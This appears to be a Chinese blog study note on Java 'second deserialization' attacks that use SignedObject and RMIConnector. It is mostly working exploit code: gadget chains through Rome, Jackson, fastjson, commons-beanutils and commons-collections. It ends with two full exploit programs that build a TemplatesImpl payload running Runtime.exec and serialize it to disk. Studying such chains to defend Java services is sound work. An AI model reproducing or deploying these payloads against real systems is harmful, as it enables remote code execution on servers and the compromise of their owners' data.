二次反序列化学习(一)
为了更好找到银行驻场,随学习二次反序列化。
SignedObject
0x01 SignedObject分析
比较简单。可以序列化,fied可控。太完美了,早入行几年就好了。
java/security/SignedObject.java#getObject()
可以看到这个从content获取流然后进行反序列化。
content是一个byte数组。继承ser。那么无非就是反射赋值,或者构造函数赋值。
构造函数pubilc,直接new就完事了,然后触发getObject()就行。很容易想到jackson,fastjson,cb等来触发javabean的getter来进行触发。
java/security/Signature.java#Map()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| private final static Map<String,Boolean> signatureInfo;
static { signatureInfo = new ConcurrentHashMap<String,Boolean>(); Boolean TRUE = Boolean.TRUE; signatureInfo.put("sun.security.provider.DSA$RawDSA", TRUE); signatureInfo.put("sun.security.provider.DSA$SHA1withDSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$MD2withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$MD5withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA1withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA256withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA384withRSA", TRUE); signatureInfo.put("sun.security.rsa.RSASignature$SHA512withRSA", TRUE); signatureInfo.put("com.sun.net.ssl.internal.ssl.RSASignature", TRUE); signatureInfo.put("sun.security.pkcs11.P11Signature", TRUE); }
|
jdk自带算法
根据自带算法,构造Signature的构造函数
1 2 3 4 5 6
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(templates, privateKey,signature );
|
0x02 多种方法触发SignedObject.getObject()
一、依赖: hashmap->Rome
因为调用SignedObject.getObject()。所以需要gettset来触发。有很多方法。
hashmap.readObject()->hash(key)->key.hashcode->Rome.ObjectBean.hashcode()->EqualsBean.javabeanHashCode()->ToStringBean.java#toString()->SignedObject.getObject()
1 2 3 4 5 6 7 8 9 10 11 12
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject); ObjectBean root = new ObjectBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap1 = new HashMap<>(); hashMap1.put(root,"x");
|
二、依赖: BadAttributeValueExpException->Rome
BadAttributeValueExpException.readObject()->ToStringBean.java#toString()->SignedObject.getObject()
1 2 3 4 5 6 7 8 9 10
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject); BadAttributeValueExpException val1 = new BadAttributeValueExpException(null); setFieldValue(val1, "val", toStringBean);
|
三、依赖:jackson
BadAttributeValueExpException.readObject()->jackson.databind.node.POJONode.toString()->om.fasterxml.jackson.databind.node.toString()->com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString()->SignedObject.getObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| try { ClassPool pool_1 = ClassPool.getDefault(); CtClass jsonNode = pool_1.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { } KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(hashMap, privateKey,signature );
POJONode jsonNodes1 = new POJONode(signedObject); BadAttributeValueExpException val1 = new BadAttributeValueExpException(null); setFieldValue(val1, "val", jsonNodes1);
|
四、依赖:fastjson 1.2.48+
HashMap.readObject()->BadAttributeValueExpException.readObject()->BadAttributeValueExpException.toString()->com.alibaba.fastjson.JSONObject.toString()/com.alibaba.fastjson.JSONArray.toString()->com.alibaba.fastjson.JSON.toString()->com.alibaba.fastjson.JSON.toJSONString()->com/alibaba/fastjson/serializer/JSONSerializer.java#write()->com/alibaba/fastjson/serializer/ASMSerializerFactory.javacreateJavaBeanSerializer(SerializeBeanInfo beanInfo) ->SignedObject.getObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(SerObj, privateKey,signature ); JSONObject jsonObject = new JSONObject(); jsonObject.put("222",signedObject);
BadAttributeValueExpException val1 = new BadAttributeValueExpException(null); setFieldValue(val1, "val", jsonObject);
HashMap<Object, Object> hashMap1 = new HashMap<>(); hashMap1.put(signedObject,val1);
|
五、依赖:cb
PriorityQueue.readObect()-> org.apache.commons.beanutils.BeanComparator.compare()->PropertyUtils.getProperty()->SignedObject.getObject()->PropertyUtilsBean.java#getSimpleProperty()->SignedObject.getObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(SerObj, privateKey,signature );
BeanComparator<Object> objectBeanComparator = new BeanComparator<>(); setFieldValue(objectBeanComparator,"property","object"); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);
setFieldValue(priorityQueue,"comparator",objectBeanComparator); setFieldValue(priorityQueue,"size",2); Object[] objects = {signedObject, 1}; setFieldValue(priorityQueue,"queue",objects);
|
0x03 完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151
| package com.towser; import com.alibaba.fastjson.JSONArray; import com.alibaba.fastjson.JSONObject; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ToStringBean; import com.tmp.cc.cc5_Templateslmpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod; import org.apache.commons.beanutils.BeanComparator;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.security.*; import java.util.HashMap; import java.util.PriorityQueue; import java.util.TreeMap;
public class signedobject { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; }
public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("cmd"); clazz.setSuperclass(pool.get(AbstractTranslet.class.getName())); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"open .\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes", bytes); setFieldValue(templates, "_name", "xx");
try { ClassPool pool_1 = ClassPool.getDefault(); CtClass jsonNode = pool_1.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace"); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null); } catch (Exception e) { }
POJONode jsonNodes = new POJONode(templates); BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", jsonNodes);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD2withRSA"); signature.initSign(privateKey); SignedObject signedObject = new SignedObject(val, privateKey,signature );
BeanComparator<Object> objectBeanComparator = new BeanComparator<>(); setFieldValue(objectBeanComparator,"property","object"); PriorityQueue<Object> priorityQueue = new PriorityQueue<>(1);
setFieldValue(priorityQueue,"comparator",objectBeanComparator); setFieldValue(priorityQueue,"size",2); Object[] objects = {signedObject, 1}; setFieldValue(priorityQueue,"queue",objects);
FileOutputStream ser2 = new FileOutputStream("ser2"); ObjectOutputStream oos = new ObjectOutputStream(ser2); oos.writeObject(priorityQueue); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser2")); ois.readObject();
} }
|
RMIConnector
0x01 分析
javax.management.remote.rmi.RMIConnector#findRMIServerJRMP()
可以看到传入base64字节,然后转object流,然后序列化
往上跟
javax.management.remote.rmi.RMIConnector#findRMIServer()
可以看到以“/stub/”开头就会调用findRMIServerJRMP()
javax.management.remote.rmi.RMIConnector#connect()
可以看见rmiServer等于空就回调用findRMIServer()
查看构造方法
可以看见构造方法符合条件。
JMXServiceURL必须为service:jmx:开头。
这里获取JMXServiceURL的URLPATH,然后URLPATH要以/stub/开头,截取第6位到末位的字符传入触发二次反序列化。
所以new一个JMXServiceURL对象,然后反射赋值就行。最后构造RMIConnector。
1 2 3
| JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/"+serbase64); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
|
0x02 构造
由于我们要出发connect(),它不是javabean,所以有很多限制,佬们想到的是cc的invoketransfrom来触发。
既然是cc触发,说实话,如大佬所说鸡肋。
cc链触发,很容易想到cc4.0用PriorityQueue,cc 3.2.1一下用lazymap.get()
一、cc6前半
hashmap.readObject()->hash(key)->key.hashcode->tiedMapEntry.hashcode->tiedMapEntry.getValue->lazyMap.get()->invokerTransformer.Transformer()->rmiConnector.connect()
1 2 3 4 5 6 7 8 9
| InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
Map<Object,Object> lazyMap = LazyMap.decorate( new HashMap<>(), new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "xx"); lazyMap.clear(); setFieldValue(lazyMap,"factory", invokerTransformer);
|
二、 cc4.0、PriorityQueue
PriorityQueue.readObject()->PriorityQueue.siftDownUsingComparator()->TransformingComparator.comparator()->InvokerTransformer.transformer()
1 2 3 4 5 6 7 8 9
| InvokerTransformer transformer = new InvokerTransformer("connect", null, null);
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue priorityQueue = new PriorityQueue(1); setFieldValue(priorityQueue,"size",2); Object[] objects = {rmiConnector, 1}; setFieldValue(priorityQueue,"queue",objects); setFieldValue(priorityQueue,"comparator",comparator);
|
三、 cc3.2.1 cc4 动态代理
AnnotationInvocationHandler.readObject->AnnotationInvocationHandler.invoke->DefaultedMap.get()->transformerChain.transformer()->InvokerTransformer.transformer()->rmiConnector.connect()
CC4 没有lazymap了, 改用defaultedMap即可。cc1都可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Transformer[] transformers = new Transformer[] { new ConstantTransformer(rmiConnector), new InvokerTransformer("connect", null, null) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); DefaultedMap<Object, Optional<ConstantTransformer>> defaultedMap = DefaultedMap.defaultedMap(new HashMap<>(), Optional.of(new ConstantTransformer(1))); setFieldValue(defaultedMap,"value", transformerChain);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true); InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, defaultedMap); Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(), new Class[]{Map.class}, h); Object instance = Anotationdeclared.newInstance(Override.class,Mapproxy);
|
0x03 完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| package com.towser;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.tmp.cc.cc1; import com.tmp.cc.cc5; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.map.DefaultedMap;
import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.util.*;
public class rmiconnector { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void main(String[] args) throws Exception { File file = new File("ser2"); byte[] fileBytes = Files.readAllBytes(file.toPath()); String base64 = Base64.getEncoder().encodeToString(fileBytes);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
Transformer[] transformers = new Transformer[] { new ConstantTransformer(rmiConnector), new InvokerTransformer("connect", null, null) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); DefaultedMap<Object, Optional<ConstantTransformer>> defaultedMap = DefaultedMap.defaultedMap(new HashMap<>(), Optional.of(new ConstantTransformer(1))); setFieldValue(defaultedMap,"value", transformerChain);
Class<?> AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> Anotationdeclared = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class); Anotationdeclared.setAccessible(true); InvocationHandler h = (InvocationHandler) Anotationdeclared.newInstance(Override.class, defaultedMap); Map Mapproxy =(Map) Proxy.newProxyInstance(Anotationdeclared.getClass().getClassLoader(), new Class[]{Map.class}, h); Object instance = Anotationdeclared.newInstance(Override.class,Mapproxy);
FileOutputStream ser2 = new FileOutputStream("RMIC2"); ObjectOutputStream oos = new ObjectOutputStream(ser2); oos.writeObject(instance); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("RMIC2")); ois.readObject(); } }
|
累了,下次再写。
佬的剑招
https://tttang.com/archive/1701/#toc_cc
https://su18.org/